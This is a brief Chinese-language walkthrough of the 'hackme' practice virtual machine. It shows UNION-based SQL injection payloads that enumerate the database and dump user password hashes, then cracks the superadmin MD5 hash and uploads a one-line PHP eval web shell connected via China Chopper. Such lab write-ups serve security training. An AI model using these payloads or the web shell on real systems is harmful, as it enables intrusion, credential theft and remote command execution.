hackme靶机

打开虚拟机切换NAT模式进行端口扫描得到对应的ip地址到网页访问

扫描目录

访问uploads目录的可以看到下面的用户登录然后注册用户

登录我们注册的账号

点击search会出现很多书名

验证sql注入

Windows OS' and 1=1#   正常显示

Windows OS' and 1=2#  显示异常

判断字数段

Windows OS' order by 3#  正常

Windows OS' order by 4#  异常   证明有3列

查看回显位置

-1' union select 1,2,3#

查看库名

-1' union select database(),2,3#

查看表名

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#

查看表中所有列

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

查看表中的user和password

-1' union select group_concat(user),group_concat(pasword),3 from users#

md5解密

superadmin,2386acb2cf356944177746fc92523983,Uncrackable

登录superadmin用户

创建php文件添加一句话木马<?php @eval ($_POST['cmd']); ?>

打开中国菜刀 连接